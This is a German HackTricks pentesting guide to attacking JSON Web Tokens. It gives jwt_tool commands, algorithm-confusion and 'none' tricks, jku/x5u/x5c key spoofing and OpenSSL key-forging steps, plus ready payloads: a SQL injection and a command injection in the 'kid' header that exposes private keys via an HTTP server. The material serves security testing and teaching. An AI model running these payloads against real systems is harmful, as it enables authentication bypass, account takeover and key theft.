hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md
2024-04-06 18:30:57 +00:00

298 lines
20 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JWT Vulnerabilities (Json Web Tokens)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
{% embed url="https://www.stmcyber.com/careers" %}
**Ein Teil dieses Beitrags basiert auf dem großartigen Beitrag:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor des großartigen Tools zum Pentesten von JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Schnelle Erfolge**
Führen Sie [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) im Modus `Alle Tests!` aus und warten Sie auf grüne Linien
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Wenn Sie Glück haben, findet das Tool möglicherweise einen Fall, in dem die Webanwendung das JWT falsch überprüft:
![](<../.gitbook/assets/image (435).png>)
Dann können Sie die Anfrage in Ihrem Proxy suchen oder das verwendete JWT für diese Anfrage mithilfe des jwt\_ Tools abrufen:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Daten manipulieren, ohne etwas zu ändern
Sie können einfach mit den Daten manipulieren, ohne die Signatur zu ändern, und überprüfen, ob der Server die Signatur überprüft. Versuchen Sie beispielsweise, Ihren Benutzernamen in "admin" zu ändern.
#### **Wird das Token überprüft?**
Um zu überprüfen, ob die Signatur eines JWT überprüft wird:
* Eine Fehlermeldung deutet auf laufende Überprüfung hin; sensible Details in ausführlichen Fehlern sollten überprüft werden.
* Eine Änderung auf der zurückgegebenen Seite deutet ebenfalls auf eine Überprüfung hin.
* Keine Änderung deutet auf keine Überprüfung hin; dann ist es an der Zeit, mit der Manipulation von Payload-Claims zu experimentieren.
### Herkunft
Es ist wichtig festzustellen, ob das Token serverseitig oder clientseitig generiert wurde, indem der Anforderungsverlauf des Proxys überprüft wird.
* Tokens, die zuerst auf der Clientseite gesehen werden, deuten darauf hin, dass der Schlüssel möglicherweise dem Clientcode zugänglich ist und weitere Untersuchungen erforderlich sind.
* Tokens, die serverseitig entstehen, deuten auf einen sicheren Prozess hin.
### Dauer
Überprüfen Sie, ob das Token länger als 24 Stunden gültig ist... vielleicht verfällt es nie. Wenn ein "exp"-Feld vorhanden ist, überprüfen Sie, ob der Server es korrekt behandelt.
### Brute-Force HMAC-Schlüssel
[**Siehe diese Seite.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Ändern des Algorithmus auf None (CVE-2015-9235)
Setzen Sie den verwendeten Algorithmus auf "None" und entfernen Sie den Signaturteil.
Verwenden Sie die Burp-Erweiterung "JSON Web Token", um diese Schwachstelle auszuprobieren und verschiedene Werte innerhalb des JWT zu ändern (senden Sie die Anforderung an Repeater und im Tab "JSON Web Token" können Sie die Werte des Tokens ändern. Sie können auch auswählen, den Wert des Felds "Alg" auf "None" zu setzen).
### Ändern des Algorithmus von RS256(asymmetrisch) auf HS256(symmetrisch) (CVE-2016-5431/CVE-2016-10555)
Der Algorithmus HS256 verwendet den geheimen Schlüssel, um jede Nachricht zu signieren und zu überprüfen.\
Der Algorithmus RS256 verwendet den privaten Schlüssel, um die Nachricht zu signieren, und verwendet den öffentlichen Schlüssel zur Authentifizierung.
Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Backend-Code den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus zur Überprüfung der Signatur.
Dann könnten wir mit dem öffentlichen Schlüssel und der Änderung von RS256 auf HS256 eine gültige Signatur erstellen. Sie können das Zertifikat des Webservers abrufen, indem Sie dies ausführen:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Neuer öffentlicher Schlüssel im Header
Ein Angreifer bettet einen neuen Schlüssel im Header des Tokens ein, und der Server verwendet diesen neuen Schlüssel zur Überprüfung der Signatur (CVE-2018-0114).
Dies kann mit der "JSON Web Tokens" Burp-Erweiterung durchgeführt werden.\
(Senden Sie die Anfrage an den Repeater, wählen Sie im Tab "JSON Web Token" "CVE-2018-0114" aus und senden Sie die Anfrage).
### JWKS Spoofing
Die Anweisungen beschreiben eine Methode zur Bewertung der Sicherheit von JWT-Tokens, insbesondere solcher, die einen "jku"-Header-Claim verwenden. Dieser Claim sollte auf eine JWKS (JSON Web Key Set)-Datei verweisen, die den für die Überprüfung des Tokens erforderlichen öffentlichen Schlüssel enthält.
* **Bewertung von Tokens mit "jku"-Header**:
* Überprüfen Sie die URL des "jku"-Claims, um sicherzustellen, dass sie zur entsprechenden JWKS-Datei führt.
* Ändern Sie den Wert des "jku"-Claims im Token so, dass er auf einen kontrollierten Webdienst verweist, der die Beobachtung des Datenverkehrs ermöglicht.
* **Überwachung der HTTP-Interaktion**:
* Die Beobachtung von HTTP-Anfragen an die von Ihnen angegebene URL zeigt die Versuche des Servers, Schlüssel von Ihrem bereitgestellten Link abzurufen.
* Bei der Verwendung von `jwt_tool` für diesen Prozess ist es wichtig, die Datei `jwtconf.ini` mit Ihrem persönlichen JWKS-Speicherort zu aktualisieren, um die Tests zu erleichtern.
* **Befehl für `jwt_tool`**:
* Führen Sie den folgenden Befehl aus, um das Szenario mit `jwt_tool` zu simulieren:
```bash
python3 jwt_tool.py JWT_HIER -X s
```
### Kid-Probleme im Überblick
Ein optionaler Header-Claim namens `kid` wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was insbesondere in Umgebungen, in denen mehrere Schlüssel für die Überprüfung der Token-Signatur vorhanden sind, wichtig wird. Dieser Claim hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens.
#### Offenlegung des Schlüssels durch "kid"
Wenn der `kid`-Claim im Header vorhanden ist, wird empfohlen, das Webverzeichnis nach der entsprechenden Datei oder deren Varianten zu durchsuchen. Wenn beispielsweise `"kid":"key/12345"` angegeben ist, sollten die Dateien _/key/12345_ und _/key/12345.pem_ im Webstamm gesucht werden.
#### Pfadtraversierung mit "kid"
Der `kid`-Claim kann auch ausgenutzt werden, um durch das Dateisystem zu navigieren, was möglicherweise die Auswahl einer beliebigen Datei ermöglicht. Es ist möglich, die Konnektivität zu testen oder Server-seitige Anfragefälschungen (SSRF) anhand des Änderns des `kid`-Werts auf bestimmte Dateien oder Dienste durchzuführen. Das Manipulieren des JWT, um den `kid`-Wert zu ändern und gleichzeitig die ursprüngliche Signatur beizubehalten, kann mithilfe des `-T`-Flags in jwt\_tool erreicht werden, wie unten dargestellt:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Durch die Ausrichtung auf Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei `/proc/sys/kernel/randomize_va_space` in Linux-Systemen, die den Wert **2** enthält, im `kid`-Parameter mit **2** als symmetrischem Passwort für die JWT-Generierung verwendet werden.
#### SQL-Injection über "kid"
Wenn der Inhalt des `kid`-Claims verwendet wird, um ein Passwort aus einer Datenbank abzurufen, könnte eine SQL-Injection durch Ändern des `kid`-Payloads ermöglicht werden. Ein Beispiel-Payload, der eine SQL-Injection verwendet, um den JWT-Signaturprozess zu ändern, lautet:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Diese Änderung zwingt zur Verwendung eines bekannten geheimen Schlüssels, `ATTACKER`, für die JWT-Signatur.
#### OS-Injection über "kid"
Ein Szenario, in dem der `kid`-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Sicherheitslücken führen. Durch das Einschleusen von Befehlen in den `kid`-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel-Payload zur Erzielung von RCE und Schlüsseloffenlegung lautet:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u und jku
#### jku
jku steht für **JWK Set URL**.\
Wenn das Token einen "**jku**" **Header**-Claim verwendet, **überprüfen Sie die bereitgestellte URL**. Diese sollte auf eine URL verweisen, die die JWKS-Datei enthält, die den öffentlichen Schlüssel zur Überprüfung des Tokens enthält. Manipulieren Sie das Token, um den jku-Wert auf einen Webdienst zu verweisen, über den Sie den Datenverkehr überwachen können.
Zuerst müssen Sie ein neues Zertifikat mit neuen privaten und öffentlichen Schlüsseln erstellen.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Dann können Sie beispielsweise [**jwt.io**](https://jwt.io) verwenden, um das neue JWT mit den **erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter jku auf das erstellte Zertifikat zu verweisen.** Um ein gültiges jku-Zertifikat zu erstellen, können Sie das Original herunterladen und die erforderlichen Parameter ändern.
Sie können die Parameter "e" und "n" aus einem öffentlichen Zertifikat extrahieren, indem Sie:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509-URL. Eine URI, die auf eine Reihe von X.509 (einem Zertifikatsformatstandard) öffentlichen Zertifikaten im PEM-Format verweist. Das erste Zertifikat in der Reihe muss dasjenige sein, das zum Signieren dieses JWT verwendet wurde. Die nachfolgenden Zertifikate signieren jeweils das vorherige, wodurch die Zertifikatskette vervollständigt wird. X.509 ist in RFC 52807 definiert. Der Transport von Sicherheitszertifikaten ist erforderlich, um die Zertifikate zu übertragen.
Versuchen Sie, **diesen Header in eine URL unter Ihrer Kontrolle zu ändern** und überprüfen Sie, ob Anfragen empfangen werden. In diesem Fall **könnten Sie das JWT manipulieren**.
Um ein neues Token mit einem von Ihnen kontrollierten Zertifikat zu fälschen, müssen Sie das Zertifikat erstellen und die öffentlichen und privaten Schlüssel extrahieren:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Dann können Sie beispielsweise [**jwt.io**](https://jwt.io) verwenden, um das neue JWT mit den **erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter x5u auf das Zertifikat .crt zu verweisen, das erstellt wurde.**
![](<../.gitbook/assets/image (439).png>)
Sie können auch beide Schwachstellen **für SSRFs missbrauchen**.
#### x5c
Dieser Parameter kann das **Zertifikat in Base64** enthalten:
![](<../.gitbook/assets/image (440).png>)
Wenn der Angreifer ein selbstsigniertes Zertifikat **generiert und ein gefälschtes Token erstellt, das den entsprechenden privaten Schlüssel verwendet, und den Wert des Parameters "x5c" durch das neu generierte Zertifikat ersetzt und die anderen Parameter, nämlich n, e und x5t, modifiziert, dann würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden.**
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Eingebetteter öffentlicher Schlüssel (CVE-2018-0114)
Wenn das JWT einen eingebetteten öffentlichen Schlüssel hat, wie im folgenden Szenario:
![](<../.gitbook/assets/image (438).png>)
Mit dem folgenden Node.js-Skript ist es möglich, einen öffentlichen Schlüssel aus diesen Daten zu generieren:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Es ist möglich, einen neuen privaten/öffentlichen Schlüssel zu generieren, den neuen öffentlichen Schlüssel im Token einzubetten und ihn zu verwenden, um eine neue Signatur zu generieren:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Sie können das "n" und "e" mit diesem Node.js-Skript erhalten:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
### ES256: Offenlegung des privaten Schlüssels mit demselben Nonce
Wenn einige Anwendungen ES256 verwenden und denselben Nonce verwenden, um zwei JWTs zu generieren, kann der private Schlüssel wiederhergestellt werden.
Hier ist ein Beispiel: [ECDSA: Offenlegung des privaten Schlüssels, wenn derselbe Nonce verwendet wird (mit SECP256k1)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
Die JTI (JWT ID) Behauptung bietet einen eindeutigen Identifikator für ein JWT-Token. Es kann verwendet werden, um das Token vor Wiedergabe zu schützen.\
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfrage 0001 und 10001 werden dieselbe ID verwenden. Wenn also das Backend die ID bei jeder Anfrage inkrementiert, könnten Sie dies missbrauchen, um **eine Anfrage zu wiederholen** (es müssen 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden).
### JWT Registrierte Behauptungen
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### Andere Angriffe
**Cross-Service Relay-Angriffe**
Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst zur Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client von dem JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausstellung oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich bei einem anderen Client dieses Dienstes mit demselben Benutzernamen/E-Mail anzumelden. Es sollte dann versucht werden, das erhaltene Token in einer Anfrage an das Ziel zu wiederholen, um zu sehen, ob es akzeptiert wird.
* Die Akzeptanz Ihres Tokens könnte auf ein kritisches Problem hinweisen, das möglicherweise das Spoofing des Kontos eines beliebigen Benutzers ermöglicht. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfangreichere Tests erforderlich ist, wenn Sie sich bei einer Anwendung eines Drittanbieters anmelden, da dies in eine rechtliche Grauzone geraten könnte.
**Ablaufprüfung von Tokens**
Der Ablauf des Tokens wird mithilfe der "exp" Payload-Behauptung überprüft. Da JWTs häufig ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Wiederholen eines anderen Benutzertokens das Vortäuschen dieses Benutzers ermöglichen. Der JWT RFC empfiehlt, JWT-Wiederholungsangriffe zu verhindern, indem die "exp"-Behauptung verwendet wird, um eine Ablaufzeit für das Token festzulegen. Darüber hinaus ist die Implementierung entsprechender Überprüfungen durch die Anwendung erforderlich, um die Verarbeitung dieses Werts sicherzustellen und abgelaufene Tokens abzulehnen. Wenn das Token eine "exp"-Behauptung enthält und die Testzeiten dies zulassen, wird empfohlen, das Token zu speichern und es nach Ablauf der Ablaufzeit erneut zu senden. Der Inhalt des Tokens, einschließlich der Zeitstempelanalyse und Ablaufprüfung (Zeitstempel in UTC), kann mithilfe der -R-Flagge des jwt\_tool gelesen werden.
* Ein Sicherheitsrisiko könnte bestehen, wenn die Anwendung das Token immer noch validiert, da dies darauf hindeuten könnte, dass das Token niemals abläuft.
### Tools
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="https://github.com/carlospolop/hacktricks/blob/de/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>